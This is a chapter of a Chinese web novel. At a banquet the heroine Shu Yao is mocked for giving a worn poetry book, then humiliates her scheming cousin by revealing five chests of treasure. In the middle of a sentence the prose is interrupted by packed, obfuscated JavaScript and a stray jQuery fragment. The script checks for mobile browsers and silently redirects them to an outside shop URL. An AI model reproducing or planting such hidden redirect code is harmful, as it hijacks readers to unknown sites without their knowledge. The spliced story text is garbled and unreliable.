一下子,起哄声四起。
舒窈撇撇嘴,一副极不情愿的模样,“送来的贺礼哪有没有主人家在的道理。”
先前嘲讽不过,当众丢了面子的人,怒气还未消散,一听舒窈这话,摆明了是她家的宝物,容不得他们这些人看。究竟是什么样的东西,就连他们也不得一观,唯有颜家主人来了才可打开。
神神秘秘。
“你这小娘子,前头作弄这许久,原来只是为了这一刻,“那些人中有一位站在前面的郎君嘴角扯出一抹凉丝丝的嗤笑,“你在盒子里装了什么东西,谁知道,要是不让大家伙瞧一瞧,万一是些邪门摆件,迷惑了哪家郎君都犹未可知。”
话里亦有所指,暗示舒窈能得到请帖都是因为用了手段引诱了颜家郎君。
站在他旁边的人一听此话有理,要是珍贵宝物,以舒家的身家怎么会放过这次机会,不好好炫耀。
“是啊,我看舒家娘子就是心虚,因为她的东西摆不上台面。这才推三阻四。”
舒华也在其中假惺惺地劝说,“窈娘,你就打开盒子给大家看看澄清一下,不然让大家误会,我们舒府的面子以后往哪里搁。
里外夹击,他们都对舒窈步步紧逼,势必要亲眼看一看舒家的“好东西”。
舒窈装作无可奈何,勉强答应,“既然大家都想看,那就打开。”
得到小姐的肯定,欢颜打开盒子。木盒缓缓开启,并无大家想象的金玉宝光溢出。
大家看清楚后,先是死寂一瞬。
而后,皆是哄堂大笑。欢颜也随着大家的目光,也低头看向手里的东西。
看向舒窈投去求助的眼神,怎么会这样?她昨日明明看见小姐装进盒子里的是老爷给的价值千金的珊瑚树,怎么一夜之间变成一本诗集,还是本一眼看上去就破烂寒酸的诗集。
“堂堂舒家小姐,拿一本破诗集当贺礼?”
“颜家乃是百年书香大族,这般馈赠未免太过敷衍失礼。”
嘲讽、不屑、贬低,这些声音不绝于耳,全都围绕着舒窈。
在一旁目睹全程的舒华暗自窃喜,这场面正是他想要的。
他恨不得声浪再高些,用不着一秒,就能讲其他人说的话传入阿伯耳边。
一想到舒窈将会不再得到阿伯的青睐,舒华抓住机会,眉头紧锁,故作痛心惋惜,高声斥责:“堂妹,今日满堂宾客皆是奇珍相赠,你以一卷旧书搪塞,实在是轻慢颜府,太过失了分寸!”
话音落下,躲在人群中的仆从收到舒华提前做好的安排。随从立刻抬着一只描金大木箱上前,箱盖应声敞开,内里赤金镶红宝石步摇、硕大圆润东珠串饰、成对葡萄纹鎏金银香具尽数映入眼帘,日光之下光芒夺目,引得街边围观百姓阵阵惊呼。
“都是窈娘思虑不周,这份薄礼,便由我代为补齐这份礼数吧。”舒华姿态故作宽宏大气,话语之间,字字句句都在贬低舒窈眼界低下。
仅仅是薄礼,舒家就那么大手笔。对比舒窈,她这位兄长倒是大方得体多了。
于是。
周遭驻足观望的宾客、街边看热闹的百姓瞬间齐刷刷向舒窈投来视线,一道道目光裹着审视、好奇,还有浓浓的鄙夷。
舒窈站在中间俨然成了众矢之的。
赢得周围人的称赞,舒华的尾巴都快翘到天上去了,他朝舒窈投去挑衅的眼神,一时间,风光得意极了。
舒窈立于风口浪尖,神色依然从容淡定。
她抬眼环视周遭一众嘲讽面孔,纤细修长的手指轻轻按在诗集封面上,声音清亮通透,字字铿锵有力,“诸位仅凭一本书破旧的外观便心生鄙弃,以外表皮囊衡量书卷内在价值,未免太过肤浅。”
舒窈一开口,嘈杂声压下去许多,大家都想听听,舒家二小姐要怎么辩解。
“实话实说,直到如今,我也没能查出这本诗集究竟是哪位文人所作,前后跑遍城中大小书肆,寻访多位饱学先生,皆无人知晓它的来历。可即便无署名,书中内容却格外动人有趣。”
“书中写塞外千里大漠孤烟、层叠山峦,写乡野农人春耕插秧,写市井街巷小贩吆喝,街坊闲谈的烟火日常。通篇皆是鲜活真实的山川民生百态,越品读越觉妙趣盎然。教世人认清山河万象,感悟人间百态。我耗费心力将残卷修补完好,才专程送来,想请颜家郎君闲暇之时赏鉴一番。”
舒窈语气带着发自内心的欣赏,说话不疾不徐,犹如为在场的众人展开人间百态、丰富多彩的画卷。
她顿了顿,目光淡淡扫过舒华那一箱熠熠生辉的珠宝,语气愈发笃定,“小女从未有意折辱颜家,不会带有恩怨,还是什么就是什么,颜府既邀请了我,自不会仅用诗集相赠,只是贺礼在路上耽搁了会儿,现在才到。”
话落,舒窈拍拍手。
“咚咚咚”
脚步声整齐沉厚,震得人心头微颤。
五口漆黑雕花大木宝箱,被五名壮汉各抬一箱,齐齐应声,稳稳踏碎人群喧嚣,依次落于颜府门前石阶下。
箱身皆是最上等厚木打造,八个边角包铜,锁扣鎏金,一看便知内藏极重。
下一刻,仆从整齐划一抬手、落锁、开盖。
五道箱盖同时翻起,满堂金光骤然炸开!
第一箱,是层层叠叠整齐码放的银铤。第二箱,是成套羊脂白玉酒器、玉盘玉盏,温润流光,不染一丝瑕疵。第三箱,是数十匹顶级蜀金绫锦,织金缠枝纹样华贵夺目,缎面流光浮动。接着,满满一匣鎏金开元通宝,金辉晃眼,沉甸甸堆放,似是一座金山。尽数是镂空银香囊、嵌宝钗环,件件都是市面难求的宝物。
……
五箱珍宝并排在地,金玉满溢,珠光直冲檐宇。
冲天的豪气,马上催动所有人的情绪。
“原以为舒家郎君带来的就够多的,没成想,舒家二小姐带来的更是惊为天人!我此生从未见过如此多金银宝物,舒府不愧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782964|210131||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是第一富户。”
“这怕不是贺礼,是要将颜家买下,再让颜郎君入赘啊!”
“你可别啥话都讲,天塌了都不可能的事,当个热闹看看算了。”
人群窃窃私语,止不住地感叹要是自己这一生也有这么多钱,也就知足了。
方才嘲讽舒窈寒酸、说她拿旧书敷衍的世家宾客,个个脸色青白交加,神色尴尬,无人敢抬头对视。
对比之下,方才舒华抬出来那一箱引以为傲的宝石珠串,瞬间显得小家子气、单薄可怜。
舒华都快要气炸了,他费尽心思偷换礼物、算计舒窈颜面的全盘谋划,此刻彻底沦为一场彻头彻尾的笑话。
好啊好啊!这小灾星早有防备,没憋好事,竟戏弄他,让他下不来台。舒华难堪得指尖都在发颤。
眼看兄长不对劲,舒婉走进舒华,让舒华沉下心,不要发作。
舒窈立在璀璨宝光中央,眉眼平静无波。
“金银珠宝不过俗世浮财,有价码可以估量,花钱便能随处求得。唯独诗书承载千古文脉,一字一句藏着修身明志的哲理、处世安生的智慧,真正称得上一字千金,万金都难以交换。舒家世代经营珍宝拍卖行当,府中从不缺金银财物。可在我眼中,这册诗集里的每一个字,价值都远胜一箱箱珠光宝气。”
欢颜听闻,由衷敬佩舒窈,没想到平日贪玩享乐的小姐这几日忙里忙外的,都是去干这些事情了。
小姐果然聪明,一点就通,才看了两三日竟对诗集有着这么大见解。
舒窈迎着风吹过发丝,坦坦荡荡,身姿挺拔,“此书一字,胜过万金。诸位不识风雅,那舒家,便弃雅从俗。五箱金玉,恭贺颜府盛宴,足够配得上今日满堂礼数。”
一席话毕,一名身着锦袍,最先发话的世家子弟任然觉得舒窈这是一派胡言,今日之事回家定会被兄弟姐妹取笑。
既然对方如此下他的面子,那他也绝不会让舒窈好过。
他心中不服,上前拱手扬声,语气带着几分执拗的讥讽:“舒小姐说辞虽然漂亮,可颜郎君自幼饱读万卷诗书,眼界何其高远,颜府藏书阁典藏珍本无数,哪里会看上这么一册残缺无名的旧诗集?说到底,不过是用一番大道理,巧言粉饰礼物寒酸罢了。”
此言一出,刚刚安静下来的围观人群再度响起细碎窃语,不少人深以为然,频频点头。
对啊,如颜家郎君这般谪仙人物,什么样的诗集没读过,再怎么奇特有趣,也还是一本普普通通的诗集,难登大雅之堂。
颜郎君怎么会看得上。
舒小姐口舌伶俐,道理说得冠冕堂皇,可终究是自圆其说、粉饰寒酸罢了。
说得好!
对!就是这样!
舒华差点脱口而出,拍手叫好。
原本紧绷的面色稍稍缓和,眼底重新燃起一丝期待,暗暗等着舒窈这番漂亮说辞被当场戳破。
任舒窈如何狡辩都改变不了。